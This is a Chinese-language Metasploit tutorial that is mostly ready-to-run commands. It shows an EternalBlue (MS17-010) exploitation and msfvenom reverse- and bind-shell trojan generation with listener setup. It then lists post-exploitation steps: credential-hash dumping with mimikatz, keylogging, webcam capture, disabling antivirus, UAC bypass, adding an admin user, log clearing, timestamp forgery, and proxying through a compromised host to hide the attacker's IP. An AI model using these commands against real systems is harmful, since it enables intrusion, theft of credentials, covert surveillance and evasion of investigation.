MSF的基本使用
打开msf
msfconsole
查看msf模块
/usr/share/metasploit-framework/modules/exploits
不同模块的作用
- Auxiliary(辅助):Auxiliary 模块通常用于辅助渗透测试,如端口扫描、服务识别、漏洞扫描等。这些模块通常不执行攻击,但可以为攻击提供有用的信息。
- Encoders(编码器):Encoders 模块用于编码 Metasploit 的 Payload,以避免 Payload 被防病毒软件检测出来。
- Evasion(逃避):Evasion 模块旨在帮助绕过防御系统,包括防火墙、Web 应用程序防护系统和入侵检测系统等。这些模块能够对 Payload 进行混淆、伪装或打包,以助于绕过防御系统检测,从而提高攻击成功的概率。
- Exploits(漏洞利用):Exploits 模块用于执行漏洞利用攻击。这些模块通常需要针对特定的漏洞,或配合特定的 Payload 使用。
- Nops(空操作):Nops 模块用于填充 Payload 中的空间,以确保 Payload 的有效载荷长度达到指定的大小。
- Payloads(负载):Payloads 模块用于创建不同类型的 Payload,包括反向 Shell Payload、Meterpreter Payload 等。
- Post(后渗透):Post 模块用于在攻击成功后执行一系列的后渗透操作,包括查找敏感信息、建立持久性、执行特权操作等。
搜索模块
search 模块名
使用模块
use 模块名 #如 use auxiliary/scanner/portscan/tcp 扫描端口的模块
查看模块的参数
show options
设置参数
set rhosts 192.168.162.0/24
查看设置的参数
show options
常用的模块
防火墙扫描
use auxiliary/scanner/portscan/ack
探测内网主机版本
use auxiliary/scanner/smb/smb_version
内网扫描
auxiliary/scanner/discover/arp_sweep arp扫描网段 scanner/portscan/ftpbounce FTP跳端口扫描 scanner/portscan/syn SYN 端口扫描 scanner/portscan/tcp TCP 端口扫描 scanner/portscan/xmas TCP"XMas" 端口扫描
使用msf进行永恒之蓝攻击
搜索ms17_010
search ms17_010 name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
使用模块
use 3 #扫描模块
如果扫描出永恒之蓝可以进行攻击
攻击
切换到攻击模块 use exploit/windows/smb/ms17_010_eternalblue 设置目标ip set rhosts 192.168.0.114 攻击 run
使用MSF生成木马
主要使用的是Msfvenom,这个需要在终端中执行,而不是在msf里面执行,msfvenom主要用于生成木马
-l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all -p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的 -f, --format < format> 指定输出格式 -e, --encoder <encoder> 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload -a, --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64 -o, --out < path> 指定创建好的payload的存放位置 -b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 '\x0f'、'\x00' -n, --nopsled < length> 为payload预先指定一个NOP滑动长度 -s, --space < length> 设定有效攻击荷载的最大长度,就是文件大小 -i, --iterations < count> 指定payload的编码次数 -c, --add-code < path> 指定一个附加的win32 shellcode文件 -x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 -v, --var-name < value> 指定一个自定义的变量,以确定输出格式 -t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用) -h,--help 查看帮助选项 --platform < platform> 指定payload的目标平台
生成windows的反弹shell程序
生成木马
这个程序直接在终端运行
lhost 为攻击机的ip
lport 为攻击机的端口
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.162.134 lport=8086 -f exe >8086.exe
攻击机开启监听
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp #设置payload类型,就是和生成的一样 #设置主机地址 set lhost 192.168.162.134 #设置端口号 set lport 8086 #开启监听 run
对方执行程序之后就会把shell反弹过来
生成windows的正向shell
生成
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f exe > bind_4444.exe
开启监听
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 4444 #设置靶机ip set rhost 192.168.162.129 #设置自动迁移进程,这样在进程里面就找不到shell的进程了,将进程迁移到桌面进程里面 set autorunscript migrate -n explorer.exe run
生成Android反弹shell apk
拿到meterpreter之后的一些利用
在拿到shell之后,会进入meterpreter
将meterpreter切换到后台
background
将后台meterpreter切换到前台
sessions #查看后台所有的meterpreter sessions 2 #2是meterpreter的id
系统信息收集
查看系统信息
sysinfo
查看当前权限
getuid
提权
getsystem
查看系统密码的hash值
方法一
load mimikatz creds_all
方法二
run post/windows/gather/hashdump
方法三
run post/windows/gather/smart_hashdump 这个命令会将hash保存到一个文件里面
方法四
load kiwi # help kiwi 查看帮助 creds_wdigest # 获取账号密码
探测是否为虚拟机
run post/windows/gather/checkvm
查看安装软件的一些信息
run post/windows/gather/enum_applications
查看系统补丁信息
run post/windows/gather/enum_patches
社工操作
截取屏幕
screenshot
同步屏幕显示内容
run vnc 或者 screenshare
摄像头命令
webcam_list #查看摄像头 webcam_snap #通过摄像头拍照 webcam_stream #通过摄像头开启视频
获取键盘记录
#启动键盘监听 keyscan_start #查看键盘记录 keyscan_dump
权限维持
关闭杀毒软件
没有关掉火绒,不知道为啥
run killav
绕过uac
uac是账户控制管理
搜索uac相关模块
search bypassuac
使用一个模块
use exploit/windows/local/bypassuac_silentcleanup
设置payload
set payload windows/meterpreter/bind_tcp
查看后台的session
sessions
设置指定的session对象
set session 2
设置靶机ip
set rhost 192.168.162.129 run 执行就可以
打开靶机的3389端口
run post/windows/manage/enable_rdp run post/windows/manage/enable_rdp USERNAME=oldboy PASSWORD=123456 #添加用户,默认会添加到管理员组
进入靶机的cmd终端
shell
查看目标进程
ps
获取shell的进程
getpid
迁移进程
将shell进行迁移到桌面进行(explorer.exe ) migrate -N explorer.exe
这个可以在上线前设置payload的时候设置
set autorunscript migrate -n explorer.exe
执行exe程序
execute -f c:\\111.exe # execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
清除日志
clearev #清除windows中的应用程序日志、系统日志、安全日志,走的时候不要忘记
文件操作
查看靶机当前的目录
getwd
查看当前攻击机所在的目录
getlwd
Windows路径要使用双斜线
上传文件
upload //root//daociyiyou.txt c:
下载文件
download c:\\hello.txt /root/
timestomp伪造时间戳
timestomp C:// -h #查看帮助 timestomp -v C://2.txt #查看时间戳 timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
网络操作
ipconfig/ifconfig # 查看ip netstat –an # 查看开放的端口 arp # arp探测 getproxy #查看代理信息 route #查看路由
portfwd端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
这个命令的意思就是把你目标主机的3389映射到你电脑上的6666端口,以后你连接127.0.0.1:6666就能连到肉鸡
autoroute添加路由
run autoroute -h #查看帮助 run autoroute -s 192.168.159.0/24 #添加到目标环境网络,当你相连接一个网络发现不通的时候,可以设置一个路由试试,一般网络中没有设置围栏的情况下,是可以通的 run autoroute -p #查看添加的路由
然后可以利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
Socks4a代理
autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理,就是把肉鸡当成代理
msf> use auxiliary/server/socks4a msf > set srvhost 127.0.0.1 msf > set srvport 1080 msf > run
然后vim /etc/proxychains.conf #添加 socks4 127.0.0.1 1080,这样你kali里面所有的软件运行,攻击的手段都
是走的肉鸡的代理,就做到了隐藏自己真是ip的效果了
参考文章:www.cnblogs.com/xcymn/p/14464945.html